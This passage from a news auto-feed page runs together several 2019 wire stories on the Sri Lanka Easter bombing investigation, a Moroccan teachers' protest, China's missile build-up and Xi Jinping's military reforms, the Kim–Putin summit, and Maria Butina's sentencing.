U.S. official, adding that Pompeos directive triggered "shock and stupefaction" in the State Department when it was issued about two weeks ago. The congressional aide said that when asked to justify the drawdown in congressional briefings last week, State Department officials said, (Reporting by Jonathan Landay and Phil Stewart Additional reporting by Patricia Zengerle; Editing by Mary Milliken and Alistair Bell) This story has not been edited by Firstpost staff and is generated by auto-feed. Since the suicide bombings on churches and hotels in which more than 250 people were killed, Sri Lanka police have been conducting raids across the country. Colombo: Shooting erupted between security forces and a group of men in eastern Sri Lanka during a search and cordon operation related to the Easter Sunday attacks, a military spokesman said. The raid took place in the town of Ampara Sainthamaruthu near Batticaloa. The spokesman said there was an explosion in the area and when soldiers went to investigate they were fired upon. No details of casualties were immediately available. A police spokesman said that at least one suicide bomber blew himself up during the shootout in the coastal town, 325 kilometers from Colombo. Police said they have seized a large haul of explosives, a drone and a banner with the Islamic State logo. "Garbs similar to those which were worn in the video displaying Islamic State members in Sri Lanka, along with an identical Islamic State backdrop in the video was discovered during the raid," a police official said. Since the suicide bombings on churches and hotels in which more than 250 people were killed, police have been conducting raids across the country to find more details about the perpetrators and their supporters. Islamic State has claimed responsibility. Police are trying to track down 140 people believed linked to Islamic State, which claimed responsibility for the Easter Sunday suicide bombings of churches and hotels that killed 253 people, President Maithripala Sirisena said on Friday. Curfew has been imposed in Samanthurai, Kalmunai and Chawalakade areas until further notice. With inputs from agencies and 101Reporters Sri Lanka president Maithripala Sirisena on Friday appealed to the island nation not to view its minority Muslim community as terrorists in the wake of Easter Sunday attacks that officials say was carried out by a local Muslim extremist group. Sri Lanka president Maithripala Sirisena on Friday admitted that his government is "responsible" for security lapses that led to the 21 April Easter Sunday attacks in which over 250 were killed and hundreds were injured. "Government should take responsibility for this unfortunate incident as well as for weakening country's intelligence services," he was quoted by local media as saying. The toll was revised recently, lowering the number of dead by 100. The dramatic revision of the toll is a grim indicator of the power of the deadly blasts. The force of the explosions so badly mutilated bodies that parts of victims were wrongly collated and identified in the initial confusion, officials said. "Many of the victims were badly mutilated... There was double counting," the health ministry said in explaining the new death toll of 253, down from 359 announced on Wednesday. Health Ministry director general Anil Jasinghe said the "very complex nature of the human remains" made it hard for forensic experts to initially compile an accurate toll. He claimed the slip in security arrangements were due to a "lapse in the communication of intelligence inputs". Sirisena also appealed to the island nation not to view its minority Muslim community as terrorists in the wake of the deadly blasts that officials say was carried out by a local Muslim extremist group. Speaking to reporters, Sirisena said that Sri Lanka has the capability to completely control Islamic State activities in the country, referring to the Islamic State group, which has officially claimed responsibility for the bombings that killed at least 250 people. Top officials have acknowledged that Sri Lanka received intelligence about possible terror strikes ahead of the attacks, but both Sirisena and Prime Minister Ranil Wickremesinghe have said that they did not receive the information. State Minister of Defence Ruwan Wijewardene, addressing a press conference, accepted that there had been "major" lapses in the security arrangements. "We (the government) have to take the responsibility. The president (Maithripala Sirisena) is planning to make some changes in the security establishments," he said. "Some of them (the attackers), in earlier incidents, had been taken into custody (after) small skirmishes, but nothing of this magnitude," Wijewardene said. Sri Lankan and international media reported that India and the US provided specific warnings about terror attacks to Sri Lanka, ahead of the Easter Sunday bombings. Sirisena on Tuesday assured the nation that he would take steps to curtail terrorism and bring back normalcy swiftly. He said that he will make some immediate changes in the high security positions as there was negligence in carrying out responsibilities. The President said that since 2017, there were intelligence information about the emergence of terrorist groups and the fact that some of them were receiving training in foreign countries. "Our security services kept a close vigilance on these groups," Sirisena said. He acknowledged that there were lapses on the part of defence authorities. Although there was intelligence report about these attacks, he was not informed about them, he said. Sirisena said that though there were intelligence reports about possible terrorist cells, no legal action could be taken with normal laws without sufficient evidence. Nine suicide bombers, including a woman, were involved in the massive Easter Sunday bombings that killed at least 250 people, a top police officer said. So far 60 people have been arrested in connection with the attacks, police spokesman Ruwan Guansekera said, adding that more than 500 people have been injured in the bombings. The National Tawheed Jamath (NTJ) has been named as the perpetrators by the government, but it has not claimed responsibility for the attacks. The Islamic State terror group has claimed responsibility for the devastating Easter blasts in Sri Lanka and identified the suicide bombers who were involved in the attacks. The suicide bombers carried out a series of devastating blasts that tore through churches and luxury hotels in Sri Lanka on Easter Sunday, in the country's worst terror attack. With inputs from PTI and AP RABAT (Reuters) - Moroccan police used water cannons to disperse a protest by thousands of young teachers in Rabat, the capital, on Thursday, according to witnesses. Around 65 protesters were injured, said Abdelwahab Ghallat, one of the organizers. 'One teacher got seriously wounded,' he said RABAT (Reuters) - Moroccan police used water cannons to disperse a protest by thousands of young teachers in Rabat, the capital, on Thursday, according to witnesses. Around 65 protesters were injured, said Abdelwahab Ghallat, one of the organizers. "One teacher got seriously wounded," he said. Authorities could not be reached for comment. Teachers have been staging a series of protests and striking to demand an end to renewable contracts in favour of permanent jobs that offer civil service benefits, including a better retirement pension. The protesters had arrived from several parts of the kingdom and tried to camp out in front of parliament until police dispersed then, witnesses said. Education Minister Said Amzazi has threatened to sack teachers if they do not return to classrooms, saying the strike has affected 7 percent of Moroccos 7 million students. Morocco, which has avoided the turmoil seen by other countries during and after the Arab Spring of 2011, regularly sees protests though they rarely involve confrontations with police. Some 55,000 teachers out of 240,000 in total have been hired on renewable contracts by regional education delegations since 2016 to address overcrowding in rural classrooms. Morocco increased the education budget by 5.4 billion dirhams ($558.4 million) in 2019 to 68 billion dirhams as it seeks to boost access and improve infrastructure notably in hard to reach areas. ($1 = 9.6707 Moroccan dirham) (Reporting by Zakia Abdennebi; writing by Ulf Laessing; editing by Leslie Adler and James Dalgleish) This story has not been edited by Firstpost staff and is generated by auto-feed. Many of China's missiles are specifically designed to attack the aircraft carriers and bases that form the backbone of US military dominance in the region. By David Lague and Benjamin Kang Lim Chinas powerful military is considered to be a master at concealing its intentions. But there is no secret about how it plans to destroy American aircraft carriers if rivalry becomes war. At Novembers biennial air show in the southern city of Zhuhai, the biggest state-owned missile maker, China Aerospace Science and Industry Corporation Ltd, screened an animation showing a hostile blue force, comprising an aircraft carrier, escort ships and strike aircraft, approaching red force territory. On a giant screen, the animation showed a barrage of the Chinese companys missiles launched from red force warships, submarines, shore batteries and aircraft wreaking havoc on the escort vessels around the carrier. In a final salvo, two missiles plunge onto the flight deck of the carrier and a third slams into the side of the hull near the bow. The fate of the ship is an unmistakable message to an America that has long dominated the globe from its mighty aircraft carriers and sprawling network of hundreds of bases. Chinas military is now making giant strides toward replacing the United States as the supreme power in Asia. With the Pentagon distracted by almost two decades of costly war in West Asia and Afghanistan, the Chinese military, the Peoples Liberation Army (PLA), has exploited a period of sustained budget increases and rapid technical improvement to build and deploy an arsenal of advanced missiles. Many of these missiles are specifically designed to attack the aircraft carriers and bases that form the backbone of United States military dominance in the region and which, for decades, have protected allies including Japan, South Korea and Taiwan. Across almost all categories of these weapons, based on land, loaded on strike aircraft or deployed on warships and submarines, Chinas missiles rival or outperform their counterparts in the armories of the United States and its allies, according to current and former US military officers with knowledge of PLA test launches, Taiwanese and Chinese military analysts, and technical specifications published in Chinas state-controlled media. China has also seized a virtual monopoly in one class of conventional missiles land-based, intermediate-range ballistic and cruise missiles. Under the Intermediate-Range Nuclear Forces (INF) Treaty, a Cold War-era agreement aimed at reducing the threat of nuclear conflict, the United States and Russia are banned from deploying this class of missiles, with a range between 500 and 5,500 kilometers. But Beijing, unrestrained by the INF Treaty, is deploying them in massive numbers. This includes so-called carrier killer missiles like the DF-21D, which can target aircraft carriers and other warships underway at sea at a range of up to 1,500 kilometers, according to Chinese and Western military analysts. If effective, these missiles would give China a destructive capability no other military can boast. Chinas advantage in this class of missiles is likely to remain for the foreseeable future, despite US President Donald Trumps decision in February to withdraw from the treaty in six months. China is also making rapid strides in developing so-called hypersonic missiles, which can maneuver sharply and travel at five times the speed of sound (or even faster). Currently, the United States has no defenses against a missile like this, according to Pentagon officials. Chinas Ministry of National Defense and China Aerospace Science and Industry Corporation did not respond to questions from Reuters about Beijings missile capabilities. The US Indo-Pacific Command and the Pentagon had no comment. Chinas growing missile arsenal hasnt yet been proven in a real-world clash, and some Chinese officials play down their advances. But under the Trump administration, Washington has come to view China as a rival determined to displace the United States in Asia. This modern-day missile gap, the administration believes, is emerging as one of the biggest dangers to American military supremacy in Asia since the end of the Cold War. The Pentagon is now scrambling for new weapons and strategies to counter the PLA's rocket arsenal. We know that China has the most advanced ballistic missile force in the world, said James Fanell, a retired US Navy captain and former senior intelligence officer with the US Pacific Fleet. They have the capacity to overwhelm the defensive systems we are pursuing. Fanell was sidelined by the Pentagon ahead of his 2015 retirement, after warning about the Chinese build-up at a time when former president Barack Obama was seeking cooperation with Beijing. Today, Pentagon policy hews more closely to his views that China intends to displace the United States as Asias dominant power. Chinese military brass agree they can now keep American carriers at bay. Six people in China interviewed by Reuters, including retired PLA officers and a person with ties to the Beijing leadership, said China's enhanced missile capability was a great leveler and would serve to deter the United States from getting too close to Chinese shores. We cannot defeat the United States at sea, a retired PLA colonel said in an interview. The United States has 11 aircraft carriers and China has just two. But we have missiles that specifically target aircraft carriers to stop them from approaching our territorial waters if there were conflict. A person with ties to the Chinese leadership who once served in the military had a similar message: If US aircraft carriers come too close to our coastlines in a conflict, our missiles can destroy them. The Rocket Force Xi Jinping, who has seized direct control of the world's largest fighting force, has played a pivotal role in the ascendancy of Chinese missile forces. This series, The China Challenge, examines how Xi is transforming the PLA and challenging US supremacy in Asia. He has delivered a powerful boost to the prestige and influence of the elite unit responsible for China's nuclear and conventional missiles, the PLA Rocket Force. The Chinese leader has described the missile forces as a core of strategic deterrence, a strategic buttress to the countrys position as a major power and a cornerstone on which to build national security. Xi has brought senior missile force veterans into his closest circle of military aides as he has consolidated his grip on the PLA with a sweeping purge of senior officers accused of corruption or disloyalty. The Rocket Force has always enjoyed strong support from the ruling Communist Party. But under Xi, the once secretive unit, formerly known as the Second Artillery Corps, has been thrust into the limelight. Since he took power in 2012 with a pledge to rejuvenate China as a great power, the Rocket Forces latest nuclear and conventional missiles have played a starring role at some of the biggest military parades held in the Communist era. In one of these displays, in 2015, the designations of new missiles, including the carrier killer DF-21D, were painted on the sides of the projectiles in big white letters. The bold labels were aimed directly at foreign audiences, according to Western military analysts monitoring the parade in Beijing. At a parade Xi presided over to mark the 90th anniversary of the PLA in 2017, missiles were also prominently displayed. This elaborate, choreographed showcasing of the newest and most powerful missiles has provided a backdrop for Xi as he burnishes his credentials as Chinas supreme military leader. Coverage of test launches, new warheads and technical breakthroughs dominate the state-controlled military media. But its not mere theater. This concerted advertising of Chinas ability to deliver long-range conventional strikes without risking aircraft, ships or casualties is a key element of PLA strategy under Xi. Foreign military analysts say it sends a signal that China has the capacity to resist interference as it expands control over vast swathes of the South China Sea, intensifies naval and air sorties around Taiwan, and extends operations into territory it disputes with Japan in the East China Sea. To be sure, while China's missile fleet has indisputably grown more formidable, the reliability, accuracy and payloads of its weapons have yet to be tested in battle. China hasn't fought a war since invading Vietnam in 1979. The US arsenal of air and sea-launched missiles, by contrast, has been tried and proven repeatedly in wars over the past two decades. It is also unknown if the PLA missile systems could survive electronic, cyber and physical attacks on launch facilities, guidance systems and command-and-control centers. Military analysts point out that there is still some doubt about whether China has mastered the know-how that would allow a carrier killer ballistic missile to detect, track and hit a moving target far from the Chinese coast. US military commanders and PLA watchers also acknowledge that there could be elements of subterfuge involved in the publicity about Chinese missiles. Deception is traditionally a key element of Chinese military strategy. The PLA is well aware that America and other potential rivals would be closely monitoring their test sites, according to satellite imagery specialists. Some retired PLA officers who spoke to Reuters played down the capability of Chinas missiles. US missiles are superior to ours in terms of quality and quantity, the former PLA colonel told Reuters, speaking on condition of anonymity to discuss a sensitive topic with the foreign media. If we were truly more advanced than the United States, said a Chinese military analyst, we would have liberated Taiwan. Still, current and former US military officials say they are convinced from close monitoring of China's numerous test firings that PLA missiles are a genuine threat. The range war What makes Chinese missiles so dangerous for the United States and its Asian allies is that the PLA is winning the range war, according to Robert Haddick, a former US Marine Corps officer and now a visiting senior fellow at the Mitchell Institute for Aerospace Studies based in Arlington, Virginia. While the United States was taking what Haddick describes as a long holiday from missile development in the aftermath of the Cold War, China was shooting for distance, developing missiles that can fly further than those in the armories of the United States and its Asian allies. The Pentagon has begun to publicly acknowledge that in missiles, at least, China has the upper hand. We are at a disadvantage with regard to China today in the sense that China has ground-based ballistic missiles that threaten our basing in the Western Pacific and our ships, the former commander of US forces in the Pacific, Admiral Harry Harris, said in testimony before the US Senate Armed Services Committee in March last year. At the time, Harris explained that the United States was unable to counter with similar missiles because of the 1987 INF Treaty with Russia, which banned these weapons. The treaty constraints have left the United States with no equivalent to weapons like Chinas DF-26 ballistic missile, which has a range of up to 4,000 kilometres and can strike at the key US base at Guam. China says the missile has a carrier-killer variant that can hit a moving target at sea. US bases in South Korea and Japan are within range of another PLA projectile, the CJ-10 land attack cruise missile, which has a range of about 1,500 kilometres, according to Pentagon estimates. Xi Jinping is also stepping up military pressure on Taiwan, Japan and India. Alongside a massive arsenal of missiles capable of striking Taiwan, Chinese naval and air forces conduct increasingly complex exercises that regularly encircle the self-governing island. By David Lague and Benjamin Kang Lim In 1938, in the midst of a long campaign to bring China under Communist Party rule, revolutionary leader Mao Zedong wrote: Whoever has an army has power. Xi Jinping, Maos latest successor, has taken that dictum to heart. He has donned camouflage fatigues, installed himself as commander-in-chief and taken control of the two million-strong Chinese military, the Peoples Liberation Army. It is the biggest overhaul of the PLA since Mao led it to victory in the nations civil war and founded the Peoples Republic in 1949. Xi has accelerated the PLAs shift to naval power from a traditionally land-based force. He has broken up its vast, Maoist-era military bureaucracy. A new chain of command leads directly to Xi as chairman of the Central Military Commission, Chinas top military decision-making body. Operational leadership of naval, missile, air, ground and cyber forces has been separated from administration and training - a structure that Chinese and Western defense analysts say borrows from US military organization. The Chinese leader isnt just revolutionizing the PLA. Xi is making a series of moves that are transforming both China and the global order. He has abandoned reform architect Deng Xiaopings injunction that China should hide its strength and bide its time. The waiting game is over. Xis speeches are peppered with references to his Chinese dream, where an ancient nation recovers from the humiliation of foreign invasion and retakes its rightful place as the dominant power in Asia. The effort includes signature shows of soft power: Xis multibillion-dollar Belt and Road program to build a global trade and infrastructure network with China at its center, and his Made in China 2025 plan to turn the country into a high-tech manufacturing giant. But the boldest stroke is his expansion of Chinas hard power, through his remaking of the PLA, the worlds largest fighting force. At the core of this vision of national renewal is a loyal, corruption-free military that Xi demands must be prepared to fight and win. His push to project power abroad was accompanied by a power play at home. Xi has purged more than 100 generals accused of corruption or disloyalty, according to the official state-controlled media. A raw demonstration of his authority came when state television broadcast a laudatory documentary series about the PLA, Strong Military. In one scene in the 2017 series, an elderly man sits in a military court at a desk marked defendant, looking frail in a navy-blue civilian jacket. It is Guo Boxiong, a former general and the most senior officer convicted in Xis purge. He reads his confession to charges of bribery from a sheaf of papers gripped in both hands. The Central Military Commission dealt with my case completely correctly, says Guo, who had once served as vice-chairman of the body. I must confess my guilt and take responsibility for it. Guo was sentenced to life in prison. In a series of stories, Reuters is exploring how the rapid and disruptive advance of Chinese hard power on Xi Jinpings watch has ended the era of unquestioned U.S. supremacy in Asia. In just over two decades, China has built a force of conventional missiles that rival or outperform those in the U.S. armory. Chinas shipyards have spawned the worlds biggest navy, which now rules the waves in East Asia. Beijing can now launch nuclear-armed missiles from an operational fleet of ballistic missile submarines, giving it a powerful second-strike capability. And the PLA is fortifying posts across vast expanses of the South China Sea, while stepping up preparations to recover Taiwan, by force if necessary. For the first time since Portuguese traders reached the Chinese coast five centuries ago, China has the military power to dominate the seas off its coast. Conflict between China and the United States in these waters would be destructive and bloody, particularly a clash over Taiwan, according to serving and retired senior American officers. And despite decades of unrivaled power since the end of the Cold War, there would be no guarantee America would prevail. The US could lose, said Gary Roughead, co-chair of a bipartisan review of the Trump administration's defense strategy published in November. We really are at a significant inflection point in history. Roughead is no armchair theorist: A retired admiral, as former Chief of Naval Operations he held the top job in the US Navy until 2011. His alarm reflects a growing view across the American defense establishment. In their report, he and his colleagues issued a dire warning. The United States faces a national security crisis, principally arising from growing Chinese and Russian military power. US military superiority is no longer assured and the implications for American interests and American security are severe, the panel concluded. It is clear that Xi wants to bring the era of US dominance in Asia to an end. In the final analysis, it is for the people of Asia to run the affairs of Asia, solve the problems of Asia and uphold the security of Asia, he said in a 2014 speech to foreign leaders on regional security. Chinas Ministry of National Defense, the US Indo-Pacific Command and the Pentagon did not respond to questions for this article or detailed summaries of its findings. This account of Xi and the PLA - which despite the army in its name comprises all military branches - is based on interviews with 17 current and former military officers from China, the United States, Taiwan and Australia. Many would only speak on condition of anonymity. It draws on the accounts of Chinese officials and people with ties to the senior leadership in Beijing who have known Xi Jinping and his family for decades and are familiar with his career as he rose through the party and government bureaucracy. It also relies on Chinese government publications describing Xis political thinking, his speeches and official documentaries showcasing his leadership of the military. Xi rises through the ranks In Washington, the worlds pre-eminent military power is mobilizing to respond. After decades of seeking engagement in the expectation that Beijing would become a cooperative partner in world affairs, the United States is treating China as a strategic competitor bent on displacing it as Asias dominant force. Largely in reaction to this challenge, Washington is boosting defense spending, rebuilding its navy and urgently developing new weapons, particularly longer range conventional missiles. It is expanding military ties with other regional powers, including Japan, South Korea, Taiwan, Australia, Singapore and India. And its conducting an international diplomatic and intelligence campaign to counter China's cyber-attacks, traditional espionage and intellectual property theft. This campaign includes efforts to contain the global reach of Chinese telecom companies Huawei and ZTE Corp. The confrontation comes as the administration of President Donald Trump is waging a tariff war aimed at reducing Chinas massive trade surplus with the United States. However the trade conflict is resolved, a graver risk is the possibility that the deeper tensions could boil over into an armed clash between Beijing and Washington and its allies in the hotly contested maritime zones off the Chinese coast. The rise of the PLA is not all Xis doing. Long before he took power, the military had been transformed from the massive but rudimentary land force that swept Mao and his comrades, including Xis father, to victory over the Nationalists in 1949. Decades of steep increases in defense spending paid for an arsenal of high technology weapons; millions of soldiers were demobilized. But corruption became endemic. Xis two predecessors, Jiang Zemin and Hu Jintao, were civilians who took office without a network of support among PLA brass. They fostered loyalty through patronage, pay rises and budget increases, according to Chinese and Taiwanese analysts and retired officers. Under the weak leadership of Hu in particular, they say, senior officers exploited their positions to siphon off money, particularly from the logistic and equipment budgets. Rank buying became rampant. The military hierarchy Xi inherited had become a law unto itself under Hu, according to Li Nan, a scholar of the Chinese military at the National University of Singapore. It was out of control, in a sense, said Li. Now the power is centralized in the hands of Xi Jinping. Xi, a so-called princeling, grew up as a member of Chinas Communist Party aristocracy, even though his family suffered separation and persecution in Maos chaotic Cultural Revolution. His late father, Xi Zhongxun, was a revolutionary military leader who became a top government official in the early years of Communist rule. He was later purged in Maos upheavals, before emerging a key leader of Chinas market reforms in the 1980s. Xis dramatic accumulation of power was unexpected. He took a low profile as he slowly worked his way up the Communist Party and state bureaucracy, according to multiple Chinese familiar with his early career. His first job out of university in 1979 was serving in a junior post as a uniformed aide to General Geng Biao, then minister of defense. Xis official biography records this three-year posting as active duty. In this role, he had access to classified military documents, including files on the 1979 Chinese invasion of Vietnam, according to sources with ties to the leadership. He had to memorize hundreds of telephone numbers and was not allowed to rely on a telephone book, in case it was lost or stolen, they said. He then began a series of provincial government and party postings. In these roles, his performance was relatively unremarkable. As governor of the southeastern Province of Fujian, for instance, he was obsessed with the bureaucratic routine of political study sessions where officials review Communist Party documents and speeches of senior leaders, according to people who knew him at the time. And he was far from universally popular. He finished last in elections for alternate members of the partys 200-strong Central Committee during the 15th Communist Party Congress in 1997. This nondescript record appears to have worked in his favor. During his period as Chinas paramount leader, President Jiang Zemin handpicked Xi for senior office because the younger man was perceived to lack ambition, according to sources with close ties to the Chinese leadership. Xi was also thought to be a pliable candidate because he lacked a power base, one source said, speaking on condition of anonymity. But as Chinas top leader, he has shown a willingness to impose radical change at the top of the party, government and military. "When I talk to my mainland friends, they all say he is a risk taker, said Andrew Yang Nien-Dzu, former defense minister of Taiwan. You never know what his next move will be." Xi tames the military From the beginning, Xi's corruption purge and promotion of loyal officers made it clear he had big plans for the PLA. Then, in mid-2015, he cut 300,000 mostly non-combat and administrative personnel before launching a sweeping overhaul of the military structure. He broke up the four sprawling, Maoist-era general departments of the PLA that had become powerful, highly autonomous and deeply corrupt, said Li from the National University of Singapore. Xi replaced them with 15 new agencies that report directly to the Central Military Commission he chairs. He also scrapped the seven geographically based military regions and replaced them with five joint-service theater commands. These new regional commands, comparable to those that govern the U.S. armed forces, are responsible for military operations and have a strong focus on combining air, land, naval and other capabilities of the Chinese armed forces to suit modern warfare. Xi also promoted favored commanders, many of them officers he knew in Fujian and Zhejiang provinces, where he served the bulk of his early career as an official, according to Chinese and Western observers of the PLA. Others hail from his home province of Shaanxi or are fellow princelings. At the 19th Party Congress in October 2017, Xi further tightened his grip over the top military leadership, paring the Central Military Commission from 11 members to seven and stacking it with loyalists. Xi knew most of them from Shaanxi and Fujian. As he burnishes his military credentials, Xi draws on his early service in uniform. In speeches to military audiences, he describes himself as a soldier-turned-official, according to reports in the state-controlled media. In distinctive PLA camouflage fatigues, cap and combat boots, he has overseen some of the biggest military parades since the 1949 Communist victory. In the most recent of these displays, Xi has taken the salute from the troops without sharing the podium with the usual line-up of fellow party leaders and elders. In a massive naval exercise in April last year, Xi boarded the guided-missile destroyer Changsha to review the Chinese fleet of 48 warships in the South China Sea. State-run television showed the navy commander, Vice Admiral Shen Jinlong, and navy political commissar, Vice Admiral Qin Shengxiang, standing to attention as they reported to Xi and saluted. Xi then gave the order for the exercise to proceed. Both navy chiefs are Xi proteges. Shen has been rapidly promoted under Xi, leapfrogging other, more senior officers, according to Chinese and Western analysts. Qin had worked closely with the Chinese leader in a top post in the Central Military Commission before his promotion in 2017 to his navy role, Chinas official military media reported. Xi was also in fatigues again in July 2017 at a massive military parade to mark the 90th anniversary of the PLA at the Zhurihe training ground in Inner Mongolia. He took the salute from the parade commander, General Han Weiguo, an officer who served in Fujian while Xi was a party and government official in the province. Han has enjoyed a meteoric rise under Xi, being promoted to command Chinas ground forces shortly after this parade. Xi Jinping is obsessed with military parades, said Willy Lam Wo-lap, a veteran observer of personnel movements in Chinas military and political elites and a professor at the Chinese University of Hong Kong. He loves these demonstrations of raw power. As part of Xis martial image-building, the partys propaganda machine portrays him as the leader responsible for a decisive pivot in Chinas recovery from foreign conquest and colonial domination that began with the First Opium War in the mid-19th Century. In the opening scenes of the Strong Military documentary, Xi is shown boarding the guided missile destroyer Haikou at Shekou port on December 8, 2012, and sailing into the South China Sea for the first time since becoming party and military chief that year. As Xi looks to the horizon through binoculars, the narrator says: As the warship pierces the waves, Xi Jinping peers toward a vision obscured in the mist of history when, 170 years ago, Western powers came from the sea to open the door to China, beginning a bitter nightmare for ancient China. The nightmare ends, according to the documentary, with the Communist victory under Mao and the periods of growing economic and military power under former leaders Deng, Jiang and Hu. With Xi in charge, the series shows, a heavily armed China is poised to recover its former glory. Propaganda aside, Xi is proving far more assertive than his most recent predecessors in employing Chinas new military power. In 2013, China began dredging and island-building in the disputed Spratly Islands in the South China Sea, an area in which Beijing has competing territorial claims with the Philippines, Malaysia, Taiwan, Vietnam and Brunei. Xi personally directed these moves, according to a July 2017 commentary in Study Times, the official mouthpiece of the Communist Partys Central Party School. It is the equivalent of building a Great Wall at sea, the commentary said. Extensive fortification of these outposts, including missile batteries, means that China has virtually annexed a vast swathe of this ocean. Ahead of his May 30 appointment to head the U.S. Indo-Pacific Command, Admiral Philip Davidson told a Congressional committee that China was now capable of controlling the South China Sea in all scenarios short of war. Xi is also stepping up military pressure on Taiwan, Japan and India. Alongside a massive arsenal of missiles capable of striking Taiwan, Chinese naval and air forces conduct increasingly complex exercises that regularly encircle the self-governing island. These exercises are designed to intimidate Taiwan and wear down its forces which must respond to these drills, according to some Taiwanese defense analysts. They are obviously applying a lot of coercive power over Taiwan, said Yang, the former Taiwan defense minister. Beijing regards Taiwan as a renegade province and is determined to bring it under mainland control. In response to questions from Reuters, Taiwan's Defense Ministry said it would continue to maintain surveillance and deploy aircraft and warships to ensure the safety of our nations air and sea territory. Chinese naval and air forces are also increasing the tempo of deployments, exercises and patrols through the Japanese island chain. Japans annual military White Paper last year said Chinas unilateral escalation of activities around Japan was arousing strong security concerns. Japanese interceptors scrambled 638 times in the past year against Chinese aircraft, the government reported this month, up almost 30 percent from the year before. China has expanded and intensified military activities not only in the East China Sea, but also in the Pacific Ocean and the seas around Japan, the Japanese Defense Ministry said in response to questions from Reuters. These activities appear aimed at improving operational capability and bolstering Chinas presence. Despite these assertive moves, there are still questions from inside the PLA about the capacity of Chinese forces to compete with the United States and other advanced military powers. In numerous published commentaries, Chinese officers and strategists point to the PLAs lack of experience in conflict, technological shortcomings and failure to introduce effective command and control. Xis power grab and bold agenda also carry great risk for him personally, the party and China. There has been widespread speculation in China that the corruption crackdown in the military and a parallel purge of party and government officials is at least in part Xis response to a vicious, behind-the-scenes power struggle. Rare evidence of this surfaced at a key gathering of top officials. On the sidelines of the 19th Party Congress in October 2017, Liu Shiyu, then Chinas chief stock market regulator, accused a group of senior officials deposed in the purge of plotting a coup, including the disgraced former military chief Guo Boxiong. Earlier, the official military newspaper hinted at similar accusations, without citing evidence. Guo, who was imprisoned on corruption charges, could not be reached for comment. The Chinese government has not commented further on this allegation. In bringing down so many powerful military and party leaders and their factions, Xi has made many dangerous enemies, say people with ties to the leadership. And steep increases in military spending will become more difficult to sustain if the growth of the debt-burdened Chinese economy continues to slow. Still, Xi shows no sign of toning down his drive to galvanize the Chinese military. On 25 October, he toured the Southern Theater Command in the city of Guangzhou, the headquarters responsible for the contested South China Sea. State television showed Xi in fatigues and combat boots, striding through the command post with senior brass. Xi, state media reported, told officers to concentrate on preparing for war and combat. With inputs from Tim Kelly in Tokyo At his first summit with Russia's Vladimir Putin, North Korean leader Kim Jong-un accused the United States of acting in 'bad faith' at their most recent talks, state media in Pyongyang said on Friday. Vladivostok: At his first summit with Russia's Vladimir Putin, North Korean leader Kim Jong-un accused the United States of acting in "bad faith" at their most recent talks, state media in Pyongyang said on Friday. Kim and Putin met on Thursday in the far eastern Russian port of Vladivostok, for their first summit squarely aimed at countering US influence as Kim faces off with Donald Trump over Pyongyang's nuclear arsenal. Putin was keen to put Moscow forward as a player in a new global flashpoint and it appears Kim was eager to take him up on the idea, during talks described by KCNA as "unreserved and friendly". The two leaders greeted each other warmly, shaking hands and sharing smiles, at the start of meetings on an island off Vladivostok that lasted nearly five hours. Putin, known for delaying meetings with international guests, was waiting for Kim when he emerged from his limousine. During the talks, Kim said "the situation on the Korean peninsula and the region is now at a standstill and has reached a critical point," the Korean Central News Agency said. He warned that the situation "may return to its original state as the US took a unilateral attitude in bad faith at the recent second DPRK-US summit talks", the agency added. "Peace and security on the Korean peninsula will entirely depend on the US future attitude, and the DPRK will gird itself for every possible situation," KCNA quoted Kim as saying. The Kim-Trump summit broke down in late February without a deal on North Korea's nuclear arsenal. At those talks, cash-strapped Pyongyang demanded immediate relief from sanctions, but the two sides disagreed over what the North was prepared to give up in return. Russia has already called for the sanctions to be eased, while the US has accused it of trying to help Pyongyang evade some of the measures accusations Moscow denies. Just a week ago, Pyongyang demanded the removal of US secretary of state Mike Pompeo from the stalled nuclear talks, accusing him of derailing the process. On Thursday, Putin emerged from the meeting saying that like Washington, Moscow supports efforts to reduce tensions on the Korean peninsula and prevent nuclear conflicts. But he also insisted that the North needed "guarantees of its security, the preservation of its sovereignty". "We need to... return to a state where international law, not the law of the strongest, determines the situation in the world," Putin said. 'New heyday' Kim said he hoped to usher in a "new heyday" in ties between Pyongyang and Moscow. Both men said they were looking to strengthen ties that date back to the Soviet Union's support for the founder of North Korea, Kim's grandfather Kim Il Sung. The two shared a lunch that included borscht, crab salad and venison dumplings, Russian news agency TASS reported. The North Korean leader invited Putin to visit North Korea "at a convenient time" and the invitation was "readily accepted", KCNA said. Kim, who arrived in Vladivostok aboard his armoured train, was expected to stay until Friday for cultural events that Russian media have reported will include a ballet and a visit to the city's aquarium. 'No secrets The meeting was Kim's first with another head of state since returning from his Hanoi summit with Trump. It followed repeated invitations from Putin after Kim embarked on a series of diplomatic overtures last year. Since March 2018, the North Korean leader has held four meetings with Chinese President Xi Jinping, three with South Korea's Moon Jae-in, two with Trump and one with Vietnam's president. Putin told reporters that he would fill in Washington on the results of the talks. "There are no secrets here, no conspiracies... Chairman Kim himself asked us to inform the American side of our position," said Putin. There were no concrete announcements or agreements in Vladivostok, but analysts said Thursday's meeting was valuable to both sides. "For North Korea, it's all about securing another exit. China talks about sanctions relief but it doesn't really put it into action," said Koo Kab-woo, a professor at the University of North Korean Studies in Seoul. "For Russia, North Korea is elevating it back to one of the direct parties, on the same footing as China." North Korean labourers Among the issues that were likely discussed was the fate of some 10,000 North Korean labourers working in Russia and due to leave by the end of this year under sanctions. Labour is one of North Korea's key exports and sources of cash. Pyongyang has reportedly asked Russia to continue to employ its workers after the deadline. Soon after his first election as Russian president, Putin sought to normalise relations with Pyongyang and met Kim Jong Il the current leader's father and predecessor three times, including a 2002 meeting also held in Vladivostok. China has since cemented its role as the isolated North's most important ally, its largest trading partner and crucial fuel supplier, and analysts say Kim could be looking to balance Beijing's influence. The last meeting between the leaders of Russia and North Korea came in 2011, when Kim Jong Il told then-president Dmitry Medvedev that he was prepared to renounce nuclear testing. His son has since overseen by far the country's most powerful blast to date, and launch of missiles which Pyongyang says are capable of reaching the entire US mainland. The leader of a small Russian gun rights group, Maria Butina used her ties to the NRA firearms lobby to build a network of powerful Republican contacts. Washington: Maria Butina, the only Russian arrested and convicted in the three-year investigation of Moscow's interference in US politics, was sentenced to 18 months in prison on Friday. The leader of a small Russian gun rights group, Butina used her ties to the NRA firearms lobby to build a network of powerful Republican contacts. "I humbly request forgiveness. I'm not this evil person depicted in the media," she told the court in Washington before she was sent down. Butina was given the full term requested by prosecutors, however, after previously admitting one count of conspiracy to act as an agent of a foreign government without registering. The 30-year-old faces another nine months in custody, having already served half her term. Prosecutors said that although she worked openly and was not tied to any Russian intelligence agency, she was nevertheless a threat to the 